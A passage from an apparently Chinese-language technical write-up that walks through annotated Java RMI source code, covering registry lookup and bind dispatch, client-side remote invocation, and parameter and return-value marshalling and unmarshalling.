} catch (Exception ioe) {
// 将底层 I/O/解组错误转为 RMI 友好的 UnmarshalException 以便上层统一处理和回传
throw new UnmarshalException("error unmarshalling call header", ioe);
}

// 3) 日志记录:优先使用 op 在骨架的操作表中的可读名称;否则退化为 "op: <数字>"
// 说明:op 仅用于友好日志;真正分发匹配仍依赖 hash 与骨架内部逻辑。
Operation[] operations = skel.getOperations();
logCall(obj, (op >= 0 && op < operations.length) ? operations[op] : ("op: " + op));

// 4) 解组自定义调用数据:为传输/协议扩展预留的钩子(如客户端上下文、附加标头等)
// 若没有扩展,通常为 no-op;若有扩展,必须在分发前把这些数据从流里读出来。
unmarshalCustomCallData(in);

// 5) 分发到骨架:由骨架根据(op, hash)确定具体方法并完成参数解组、方法调用与结果回写。
// 所有在调用链上的异常将继续向上抛出,由上层统一封装并回传给客户端。
skel.dispatch(obj, call, op, hash);
}

RegistryImpl_Skel#dispatch 会根据 opnum 进行不同的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
switch (opnum) {
case 0: // bind(String, Remote)
{
// [...]
}

case 1: // list()
{
// [...]
}

case 2: // lookup(String)
{
// [...]
}

case 3: // rebind(String, Remote)
{
// [...]
}

case 4: // unbind(String)
{
// [...]
}

default:
throw new java.rmi.UnmarshalException("invalid method number");
}

对于客户端的 lookup 调用代码逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
case 2: // lookup(String)
{
// ---- 1) 解组(读取)入参:String name ----
java.lang.String $param_String_1;
try {
// RMI 传输层提供的输入流(通常是 MarshalInputStream 的子类),
// 这里按需向下转型为 ObjectInputStream 使用。
ObjectInputStream in = (ObjectInputStream) call.getInputStream();

// 使用 JDK 内部的 SharedSecrets 直读字符串:
// 与通用的 in.readObject() 不同,readString(...) 只接收 TC_STRING/TC_LONGSTRING,
// 避免触发任意对象反序列化(更高效、也更安全)。
$param_String_1 =
SharedSecrets.getJavaObjectInputStreamReadString().readString(in);

} catch (ClassCastException | IOException e) {
// 入参解组失败:丢弃还未处理完的引用(避免 DGC/引用泄漏),并按协议抛出“解组异常”
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
// 无论成功失败,都要释放输入流占用的底层资源/连接一侧
call.releaseInputStream();
}

// ---- 2) 本地调用实现:RegistryImpl.lookup(name) ----
java.rmi.Remote $result = server.lookup($param_String_1);

// ---- 3) 组包并写回返回值(正常返回)----
try {
// true 表示“正常返回”(非异常路径);RMI 会据此写入相应的返回头部
java.io.ObjectOutput out = call.getResultStream(true);

// 返回值是 Remote:RMI 会在写出时将其“替换”为可传输的 stub/动态代理,
// 客户端收到的是远程引用而非服务端实现对象本身
out.writeObject($result);

} catch (java.io.IOException e) {
// 返回值序列化失败 → 按协议抛出“编组异常”
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}
  1. 数据流中读取名称字符串 $param_String_1

  2. 调用 server.lookup 查询对应的远程对象。这里 server 实际上就是 RegistryImpl,因此调用的是 RegistryImpl#lookup 并最终在 bindings 哈希表中查询对应的远程对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    /**
    * 按名称从注册表中查找并返回已绑定的远程对象(通常为其 stub)。
    *
    * <p>语义:</p>
    * <ul>
    * <li>在同步块内以原子方式从内部映射 {@code bindings} 获取条目;</li>
    * <li>若名称未绑定则抛出 {@link NotBoundException};</li>
    * <li>成功则直接返回当时登记的 {@link Remote} 引用(一般是通过 export 得到的存根)。</li>
    * </ul>
    *
    * <p>注意:</p>
    * <ul>
    * <li>规范通常要求 {@code name} 非 {@code null};具体实现可能在更高层做校验。</li>
    * <li>该方法只做“读取”;绑定/覆盖请使用 {@code bind}/{@code rebind}。</li>
    * </ul>
    *
    * @param name 要查找的绑定名称
    * @return 与该名称关联的远程对象(stub)
    * @throws RemoteException 远程调用/传输层错误(当通过远程 stub 调用本方法时)
    * @throws NotBoundException 名称当前未绑定
    */
    public Remote lookup(String name)
    throws RemoteException, NotBoundException
    {
    synchronized (bindings) { // 保证“检查并返回”的一致性与可见性
    Remote obj = bindings.get(name); // 根据名称查询已登记的远程对象
    if (obj == null) { // 未绑定:按规范抛出 NotBoundException
    throw new NotBoundException(name);
    }
    return obj; // 命中:返回远程对象引用(通常为 stub)
    }
    }
  3. 将查询到的远程对象序列化后写入输出流。

对于服务端的 bind 调用代码逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
case 0: // bind(String, Remote)
{
// 0) 服务端本地策略校验:默认仅允许“本机进程”执行 bind/rebind/unbind
// (远程来电会在此抛出 AccessException)
RegistryImpl.checkAccess("Registry.bind");

java.lang.String $param_String_1; // 要绑定的名称
java.rmi.Remote $param_Remote_2; // 要绑定的远程对象(通常是其 stub)

try {
// 1) 解组(读取)参数
ObjectInputStream in = (ObjectInputStream) call.getInputStream();

// 1.1 名称:用 SharedSecrets 的只读字符串 API,避免任意对象反序列化
$param_String_1 =
SharedSecrets.getJavaObjectInputStreamReadString().readString(in);

// 1.2 远程对象:按对象读取(通常是可序列化的 stub)
$param_Remote_2 = (java.rmi.Remote) in.readObject();

} catch (ClassCastException | IOException | ClassNotFoundException e) {
// 解组失败:丢弃未处理完成的引用,抛出“解组异常”
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);

} finally {
// 入参读取完毕,释放输入流(归还连接的一侧)
call.releaseInputStream();
}

// 2) 调用注册中心实现:将 (name → remote) 放入绑定表
// - 可能抛出 AlreadyBoundException / AccessException / RemoteException:
// 这些异常会沿栈抛出,由上层 dispatch 框架回写为“异常返回”。
server.bind($param_String_1, $param_Remote_2);

try {
// 3) 正常返回(void):
// 获取结果流(true = 正常返回),不写返回体,仅写协议头并收尾
call.getResultStream(true);

} catch (java.io.IOException e) {
// 返回阶段的序列化/IO 出错 → 编组异常
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}
  1. 从输入流反序列化得到远程对象及其名称。

  2. 调用 RegistryImpl#bind 方法将远程对象名称与远程对象作为键值对存入哈希表 bindings 中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    /**
    * 将指定的名称绑定到远程对象(通常为其 stub),登记到当前注册表中。
    *
    * <p>语义:</p>
    * <ul>
    * <li>若 {@code name} 尚未绑定,则建立映射 {@code name → obj};</li>
    * <li>若 {@code name} 已存在,则抛出 {@link AlreadyBoundException};</li>
    * <li>本方法仅负责“登记”,并不负责导出 {@code obj}。通常应先导出对象再绑定。</li>
    * </ul>
    *
    * <p>访问控制:</p>
    * <ul>
    * <li>对通过网络进入的调用,访问检查(如仅允许本机 bind/rebind/unbind)已在
    * 传输/骨架层完成;此处为本地实现逻辑,不再重复检查。</li>
    * </ul>
    *
    * <p>并发与可见性:</p>
    * <ul>
    * <li>对内部映射 {@code bindings} 的读写受 {@code synchronized (bindings)} 保护,
    * 保证“检查→插入”的原子性。</li>
    * </ul>
    *
    * @param name 要绑定的名称(应为非空)
    * @param obj 要绑定的远程对象(应实现 {@link java.rmi.Remote},通常是已导出的存根)
    * @throws RemoteException 当经由远程调用此方法、网络/序列化出错时抛出
    * @throws AlreadyBoundException 名称已被绑定
    * @throws AccessException 远程调用方无权执行绑定(由上层访问检查抛出)
    */
    public void bind(String name, Remote obj)
    throws RemoteException, AlreadyBoundException, AccessException
    {
    // 访问检查已在骨架/分发层完成;本地直接执行业务逻辑
    synchronized (bindings) {
    // 1) 名称是否已存在
    Remote curr = bindings.get(name);
    if (curr != null) {
    throw new AlreadyBoundException(name);
    }
    // 2) 建立名称 → 远程对象 的映射(通常为 stub)
    bindings.put(name, obj);
    }
    }

服务调用

服务调用即客户端调用远程对象的方法的过程,期间还会传递参数和返回值:

1
2
Hello hello = (Hello) registry.lookup("hello");
System.out.println(hello.sayHello("sky123"));

客户端部分

根据前面的分析我们知道,客户端从注册中心查询到的服务实际上是远程对象的存根(Stub,即远程对象的动态代理)。因此当我们在客户端调用远程对象的方法实际上会被代理类转发到 InvocationHandlerinvoke 方法上。又因为根据前面对远程对象创建过程的分析可知,创建远程对象的代理类时使用的 InvocationHandler 实际上是 RemoteObjectInvocationHandler,对应的 invoke 方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* 动态代理回调入口:对代理实例的方法调用都会转到这里。
*
* <p>处理流程:</p>
* <ol>
* <li><b>合法性校验</b>:确认 {@code proxy} 确为 JDK 动态代理实例,且其
* {@link java.lang.reflect.Proxy#getInvocationHandler(Object) 调用处理器}
* 与当前对象一致,避免被“外来 handler”误用。</li>
* <li><b>Object 基础方法直通</b>:对 {@code hashCode}/{@code equals}/{@code toString}
* 等来自 {@link Object} 的方法,走本地实现(通常结合远程语义定制),
* 避免发起远程调用。</li>
* <li><b>finalize 特殊处理</b>:默认不允许通过代理触发 {@code finalize()},
* 以规避意外的生命周期/安全问题;若打开 {@code allowFinalizeInvocation} 则放行。</li>
* <li><b>远程方法调用</b>:其余接口方法按 RMI/JRMP 协议编码后通过远程引用发送,
* 并返回远端结果或抛出远端异常。</li>
* </ol>
*
* @param proxy 触发调用的代理实例(必须是 {@link java.lang.reflect.Proxy} 生成的对象)
* @param method 被调用的方法对象
* @param args 方法参数(可能为 {@code null} 或空数组)
* @return 方法返回值;若方法为 {@code void} 则返回 {@code null}
* @throws Throwable 远端抛出的受检/非受检异常会在本地重新抛出;
* 参数非法时抛 {@link IllegalArgumentException}
*/
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 1) 基本校验:确保 proxy 是动态代理对象
if (!Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}
// 1.1 进一步校验:该代理的 invocation handler 必须是“我自己”
if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

// 2) 来自 Object 的方法(hashCode/equals/toString 等)走本地实现,避免远程开销
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
}
// 3) finalize 的保护性处理:默认忽略,防止经由代理链触发终结逻辑
else if ("finalize".equals(method.getName())
&& method.getParameterCount() == 0
&& !allowFinalizeInvocation) {
return null; // 显式忽略 finalize()
}
// 4) 其余方法按远程调用处理:编组参数 → 发送 → 解组返回/异常
else {
return invokeRemoteMethod(proxy, method, args);
}
}

这个函数的主要逻辑为:

  • 如果调用的是 Object 声明的方法(如 getClasshashCodeequals 之类的),则接调用 invokeObjectMethod 方法进行处理。
  • 若调用的是远程对象自己的方法,接调用 invokeRemoteMethod 函数执行远程方法调用。

invokeRemoteMethod 函数实际是委托 RemoteRef 的子类的 UnicastRef#invoke 方法来执行。这里 UnicastRef#invoke 传入的 getMethodHash(method) 参数是方法的哈希值,后面服务端会根据这个哈希值找到相应的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 处理一次“远程方法调用”的客户端侧逻辑(用于 JDK 动态代理的 InvocationHandler)。
*
* <p>步骤概要:</p>
* <ol>
* <li>校验 {@code proxy} 必须实现 {@link java.rmi.Remote};</li>
* <li>通过底层 {@link java.rmi.server.RemoteRef#invoke(Remote, Method, Object[], long)}
* 发起 JRMP 调用(方法由 1.2+ 的“方法哈希”标识);</li>
* <li>对异常进行规范化:仅允许抛出<b>运行时异常</b>或该方法<b>声明的受检异常</b>;
* 其他受检异常包装为 {@link java.rmi.UnexpectedException} 再抛出。</li>
* </ol>
*
* @param proxy 触发调用的代理实例(必须实现 {@link java.rmi.Remote})
* @param method 被调用的方法(来自远程接口)
* @param args 方法参数(可为 {@code null})
* @return 远端返回值;若方法为 {@code void} 则返回 {@code null}
* @throws Exception 远端抛出的已声明异常、运行时异常,或被包装为 UnexpectedException 的未声明受检异常
*/
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception {
try {
// 1) 基本校验:动态代理实例必须实现 Remote
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException("proxy not Remote instance");
}

// 2) 发起真正的远程调用:
// getMethodHash(method) 计算 JRMP 1.2+ 的 64 位方法哈希,用于协议层定位方法
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));

} catch (Exception e) {
// [...]
}
}

UnicastRef#invoke 函数的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/**
* 发起一次远程方法调用:
* - 由引用(RemoteRef)负责建连、参数编组、发送请求、接收并解组返回值/异常;
* - 成功返回方法结果;失败时抛出 RemoteException 或(由服务端抛出的)应用层异常。
*
* @param obj 远程对象的代理(stub)
* @param method 要调用的方法
* @param params 方法实参
* @param opnum 用于标识方法的 64 位“方法哈希”(JRMP 1.2+)
* @since 1.2
*/
public Object invoke(Remote obj, Method method, Object[] params, long opnum) throws Exception {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}
if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}

// 1) 向通道申请一条连接(可能复用)
Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true; // 默认:调用后连接可复用
boolean alreadyFreed = false; // 提前归还连接的标记,避免 finally 再次归还

try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}

// 2) 创建调用上下文(-1 表示使用“方法哈希”路径,而非 1.1 的正数 opnum)
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);

// 3) 编组参数(写出调用头 + 自定义数据 + 各参数)
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out); // 可选的自定义调用数据
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out); // 按参数类型编码(含原始类型)
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}

// 4) 发送请求并等待返回(服务器执行完毕后可读取返回流)
call.executeCall();

try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class) {
// void 返回:无返回体,但仍需要在 finally 中 done()
return null;
}

ObjectInput in = call.getInputStream();

// 重要:StreamRemoteCall.done() 不依赖 conn,所以在读取返回值前后
// 可以安全地“提前”把连接归还以便复用(提升吞吐)
Object returnValue = unmarshalValue(rtype, in);

// 5) 提前归还连接(本次已经读完返回值,连接可立即复用)
alreadyFreed = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
ref.getChannel().free(conn, true);

return returnValue;

} catch (IOException | ClassNotFoundException e) {
// 返回解组失败:禁用输入流里尚未处理的远程引用,避免 DGC 引用泄漏
((StreamRemoteCall) call).discardPendingRefs();
clientRefLog.log(Log.BRIEF,
e.getClass().getName() + " unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);

} finally {
try {
// 6) 收尾(协议级结束);若之前已提前归还连接,这里通常不再出问题
call.done();
} catch (IOException e) {
// 若此处抛 IO 异常而连接已被提前复用,已无从恢复,标记不复用以求稳
reuse = false;
}
}

} catch (RuntimeException e) {
/*
* 区分“客户端侧”与“服务端侧”的 RuntimeException:
* - 若 call 尚未建立,或 getServerException() != e,则认为是客户端侧异常 → 连接不复用;
* - 否则为服务端回传的 RuntimeException,连接通常仍可复用。
*/
if ((call == null) || (((StreamRemoteCall) call).getServerException() != e)) {
reuse = false;
}
throw e;

} catch (RemoteException e) {
/*
* 远程调用失败:包括 ServerException/ServerError 等情况——
* 即便异常来自服务器,也可能发生在参数/返回值编组阶段,连接可能处于不一致状态 → 不复用。
*/
reuse = false;
throw e;

} catch (Error e) {
// 严重错误:保守起见不复用连接
reuse = false;
throw e;

} finally {
// 若未走“提前归还”,在此归还连接并按 reuse 决定是否复用
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " + reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

首先 UnicastRefLiveRef 属性包含 EndpointChannel 封装和与网络通信有关的方法,其中包含服务端该 stub 对应的监听端口,因此我们可以通过 ref.getChannel().newConnection() 建立与服务端的连接并得到链接对象 conn

之后利用这个链接对象 conn 创建一个 StreamRemoteCall 对象并传入:

1
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);
  • conn:网络连接相关。
  • ref.getObjID():用来表示远程对象。
  • op:传递一个负数(-1),让被调用方通过方法哈希来确定被调用的方法。
  • opnum:前面 getMethodHash(method) 计算得到的被调用方法的哈希。

之后若方法有参数,则调用 marshalValue 将参数序列化,并写入输出流。

1
2
3
4
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out); // 序列化每个参数
}

marshalValue 会对 Object 类型的参数进行序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/**
* 使用(RMI 兼容的)Java 序列化把一个值写入 {@link ObjectOutput}。
*
* <p>约定:</p>
* <ul>
* <li><b>原始类型</b>(primitive):按其对应的 DataOutput 写法写入,
* 需要传入相应的包装类型作为 {@code value}(例如 {@code int.class} 搭配 {@code Integer})。</li>
* <li><b>引用类型</b>(非 primitive):直接调用 {@link ObjectOutput#writeObject(Object)},
* 遵循标准/ RMI 序列化语义(含 {@code writeReplace}、远程对象 stub 替换等)。</li>
* </ul>
*
* <p><b>注意</b>:</p>
* <ul>
* <li>当 {@code type} 为原始类型时,{@code value} 不能为 {@code null},且必须是对应的包装类;
* 否则会抛出 {@link NullPointerException}/{@link ClassCastException}。</li>
* <li>{@code void.class} 不应出现在这里;若出现将进入“未识别的原始类型”分支并抛出 {@link Error}。</li>
* <li>引用类型若不可序列化,将在 {@code writeObject} 过程中触发 {@link java.io.NotSerializableException}。</li>
* <li>当 {@code value} 为 {@code null} 且 {@code type} 为引用类型时,允许写出 {@code null}。</li>
* </ul>
*
* @param type 值的“声明类型”,用于决定写入策略(primitive vs. 引用)
* @param value 实际要写入的值(primitive 需对应包装类)
* @param out 目标输出流(通常为 RMI 的 {@code MarshalOutputStream} 实现)
* @throws IOException 底层 I/O 或对象写出失败
*/
protected static void marshalValue(Class<?> type, Object value, ObjectOutput out)
throws IOException
{
// 原始类型:走 DataOutput 写法(需要从包装类型拆箱)
if (type.isPrimitive()) {
if (type == int.class) {
out.writeInt(((Integer) value).intValue());
} else if (type == boolean.class) {
out.writeBoolean(((Boolean) value).booleanValue());
} else if (type == byte.class) {
out.writeByte(((Byte) value).byteValue());
} else if (type == char.class) {
out.writeChar(((Character) value).charValue());
} else if (type == short.class) {
out.writeShort(((Short) value).shortValue());
} else if (type == long.class) {
out.writeLong(((Long) value).longValue());
} else if (type == float.class) {
out.writeFloat(((Float) value).floatValue());
} else if (type == double.class) {
out.writeDouble(((Double) value).doubleValue());
} else {
// 一般只会命中 void.class 等不应出现的 primitive
throw new Error("Unrecognized primitive type: " + type);
}
} else {
// 引用类型:标准对象写出。
// RMI 会在这里应用远程对象替换(Remote → stub)、代码库注解、writeReplace 等机制。
out.writeObject(value);
}
}

之后 call.executeCall 执行远程方法调用,该函数主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
/**
* 执行一次远程调用的完整客户端流程(发起→等待→接收→解释)。
*
* <p><b>时序概览</b>:
* 1) 若仍持有输出流,则获取 DGC 确认处理器并 <em>releaseOutputStream()</em> 以刷新请求并允许服务器回应;
* 2) 从连接读取返回包头(必须首先读到 {@code TransportConstants.Return} 操作码);
* 3) 通过 {@code getInputStream()} 建立用于反序列化的输入流(RMI 的编组输入流);
* 4) 读取“返回类型”字节(正常/异常)与一次性 DGC 确认 ID(用于崩溃恢复的“应答”机制);
* 5) 根据返回类型:正常则继续由上层读取返回值;异常则反序列化异常对象并抛出。</p>
*
* <p><b>DGC 确认(DGCAck)</b>:客户端在请求侧可能携带需要确认的远端引用;服务端回包时给出一个
* “确认 ID”。客户端在安全点(通常在完成反序列化并不再需要这些远端引用时)向服务器发送确认,
* 以便 DGC 能在客户端崩溃时保守地保留引用、在确认后再回收。</p>
*
* @throws Exception 读取/写入/编组失败或远端抛出异常时转为相应异常抛出
*/
@SuppressWarnings("fallthrough")
public void executeCall() throws Exception {
byte returnType;

// 用于一次性 DGC 确认的处理器;仅在本次调用使用(可能为空)
DGCAckHandler ackHandler = null;
try {
// 若仍持有输出流(说明请求尚未完全“交付”),先取出其 DGCAck 处理器
// 之后 releaseOutputStream 会真正把请求刷到网络,避免请求/响应双方互相阻塞。
if (out != null) {
ackHandler = out.getDGCAckHandler();
}

// 释放输出流:确保请求报文已发送完毕,允许服务端开始返回
releaseOutputStream();

// 直接从底层连接读取返回包头(原始 DataInput 用于读取固定字段)
DataInputStream rd = new DataInputStream(conn.getInputStream());

// 读取返回操作码;RMI 协议要求此处应为 TransportConstants.Return
byte op = rd.readByte();
if (op != TransportConstants.Return) {
// [...] 非期望的操作码:通常是协议不匹配、版本错误或非法响应
// 典型处理会抛出 UnmarshalException / IOException
}

// 建立(或切换到)用于对象反序列化的编组输入流
// 注意:getInputStream() 会把上面的原始输入管线包装为 RMI 的 MarshalInputStream
getInputStream();

// 读取“返回类型”:NormalReturn / ExceptionalReturn
returnType = in.readByte();

// 读取一次性 DGC 确认 ID(仅对本次调用有效)
// 该 ID 会与上面的 ackHandler 配合,在安全点发送确认,避免早收/漏收远端引用。
in.readID();
} catch (UnmarshalException e) {
// [...] 反序列化/协议头读取失败:通常要丢弃挂起引用并向上抛出
// 可结合 discardPendingRefs() 与更上层的异常包装策略
}

// 根据返回类型选择处理路径
switch (returnType) {
case TransportConstants.NormalReturn:
// 正常返回:这里不做额外工作,上层代码将继续从 `in` 中读取返回值本体
break;

case TransportConstants.ExceptionalReturn:
// 异常返回:反序列化远端抛出的异常对象并抛出给调用者
Object ex;
try {
ex = in.readObject(); // 远端写回的 Throwable(可能是 Server{Error,Exception} 包装)
} catch (Exception e) {
// 如果连异常对象都读不出来,说明流已损坏或类解析失败
// 为防止泄漏,丢弃流中挂起的远端引用,然后按 RMI 语义抛 UnmarshalException
discardPendingRefs();
throw new UnmarshalException("Error unmarshaling return", e);
}

// [...] 典型做法:
// - 若 ex 为 RemoteException/RuntimeException/Error:直接抛出;
// - 若不是被声明的受检异常:通常包装为 UnexpectedException 再抛;
// - 在抛出前若涉及 DGCAck,可能在 finally/安全点触发 ackHandler 的确认发送。
break;

// (保留 switch 的 fallthrough 抑制注解:协议未来如扩展返回类型,可按需落地分支)
}
}

我们主要关心的部分为:

  1. 首先 executeCall 会调用 releaseOutputStream 释放输出流,即发送数据给服务端。

  2. getInputStream 读取返回的数据,写到 in 中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    /**
    * 获取用于解组(参数/返回值/异常等)的输入流。
    *
    * <p><b>生命周期与所有权</b>:
    * <ul>
    * <li>该输入流由当前远程调用对象统一管理,请勿直接关闭;
    * 使用 {@code releaseInputStream()} 归还/释放。</li>
    * <li>同一次调用内只创建一次;后续重复调用返回同一实例。</li>
    * </ul>
    *
    * <p><b>实现说明</b>:
    * 当首次调用且 {@code in == null} 时,从底层连接 {@code conn.getInputStream()}
    * 获取原始字节流,并用 {@code ConnectionInputStream}(通常为 RMI 的
    * {@code MarshalInputStream} 实现)进行包装,以支持:
    * <ul>
    * <li>按类加载/代码库注解规则反序列化对象;</li>
    * <li>远程引用跟踪与 DGC 相关的协议字段(例如稍后通过 {@code readID()} 读取的确认 ID);</li>
    * <li>与 RMI 协议兼容的对象图解析(含 {@code readResolve} 等)。</li>
    * </ul>
    *
    * @return 非空的 {@link ObjectInput},用于读取本次调用需要的所有入站数据
    * @throws IOException 底层连接不可用或包装输入流构造失败时抛出
    */
    public ObjectInput getInputStream() throws IOException {
    // 仅在首次需要时创建;同一远程调用复用同一个输入流实例
    if (in == null) {
    // [... 这里可能包含协议前置处理/校验逻辑(例如已在上层读取过返回操作码) ...]

    // 用 RMI 感知的输入流包装底层连接输入流
    // 注意:底层流的关闭与回收由 RemoteCall 的 release* 方法负责
    in = new ConnectionInputStream(conn.getInputStream());

    // [... 可在此处对 in 进行适配/配置(如 skipDefaultResolveClass 等),视具体实现而定 ...]
    }
    return in;
    }
  3. in 中读取返回类型 returnType

    • 如果是异常返回,直接进行反序列化:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      case TransportConstants.ExceptionalReturn:
      // 异常返回:反序列化远端抛出的异常对象并抛出给调用者
      Object ex;
      try {
      ex = in.readObject(); // 远端写回的 Throwable(可能是 Server{Error,Exception} 包装)
      } catch (Exception e) {
      // 如果连异常对象都读不出来,说明流已损坏或类解析失败
      // 为防止泄漏,丢弃流中挂起的远端引用,然后按 RMI 语义抛 UnmarshalException
      discardPendingRefs();
      throw new UnmarshalException("Error unmarshaling return", e);
      }
    • 如果是正常返回则直接从 executeCall 返回到 invoke 函数。在 invoke 函数中会调用 unmarshalValue 函数对返回结果进行反序列化。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      /**
      * 按 RMI/Java 序列化协议从 {@link ObjectInput} 读取一个值,并返回与给定 {@code type}
      * 兼容的对象。该方法既可用于“参数解组”(server 侧)也可用于“返回值解组”(client 侧)。
      *
      * <p>规则与理由:</p>
      * <ul>
      * <li><b>原始类型</b>:直接调用 {@link ObjectInput} 的对应读方法(如 {@code readInt()});
      * 由于反射调用需要 {@code Object[]},这里返回的是“装箱类型”(如 {@code Integer})。</li>
      * <li><b>String</b>:若输入流是 {@link ObjectInputStream},优先使用
      * {@code SharedSecrets.getJavaObjectInputStreamReadString().readString(in)},
      * 只读取字符串令牌(TC_STRING/TC_LONGSTRING),避免触发通用的对象反序列化路径;
      * 否则退回 {@code in.readObject()}(同样能读取字符串/引用/空值)。</li>
      * <li><b>其它引用类型(含数组、枚举、可序列化对象、Remote stub 等)</b>:
      * 统一走 {@code in.readObject()};若远端写出的是 {@code Remote},
      * 反序列化得到的将是可用的“存根/动态代理”。</li>
      * </ul>
      *
      * <p><b>异常</b>:
      * 读写错误抛 {@link IOException};类型解析失败抛 {@link ClassNotFoundException}。
      * 这两类异常都会沿调用栈被包装为 RMI 的编组/解组异常(如 {@code UnmarshalException})。</p>
      *
      * @param type 期望的值类型(返回对象与之兼容;原始类型会返回其装箱类型)
      * @param in 输入流(通常是 {@code MarshalInputStream} 的子类,亦为 {@code ObjectInputStream})
      * @return 装箱后的原始值、字符串或任意反序列化对象
      * @throws IOException 读取底层流失败
      * @throws ClassNotFoundException 反序列化对象时无法解析类
      */
      protected static Object unmarshalValue(Class<?> type, ObjectInput in)
      throws IOException, ClassNotFoundException
      {
      // 1) 原始类型:逐一映射到 DataInput 风格的读取方法,并装箱返回
      if (type.isPrimitive()) {
      if (type == int.class) {
      return Integer.valueOf(in.readInt());
      } else if (type == boolean.class) {
      return Boolean.valueOf(in.readBoolean());
      } else if (type == byte.class) {
      return Byte.valueOf(in.readByte());
      } else if (type == char.class) {
      return Character.valueOf(in.readChar());
      } else if (type == short.class) {
      return Short.valueOf(in.readShort());
      } else if (type == long.class) {
      return Long.valueOf(in.readLong());
      } else if (type == float.class) {
      return Float.valueOf(in.readFloat());
      } else if (type == double.class) {
      return Double.valueOf(in.readDouble());
      } else {
      // 理论不会到达:八种原始类型已覆盖
      throw new Error("Unrecognized primitive type: " + type);
      }
      }
      // 2) String:若可用,走专用的只读字符串路径(性能/安全更优),否则退回通用反序列化
      else if (type == String.class && in instanceof ObjectInputStream) {
      return SharedSecrets.getJavaObjectInputStreamReadString()
      .readString((ObjectInputStream) in);
      }
      // 3) 其余引用类型:统一走对象反序列化(支持 null、引用共享、Remote 替换为 stub 等)
      else {
      return in.readObject();
      }
      }

服务端部分

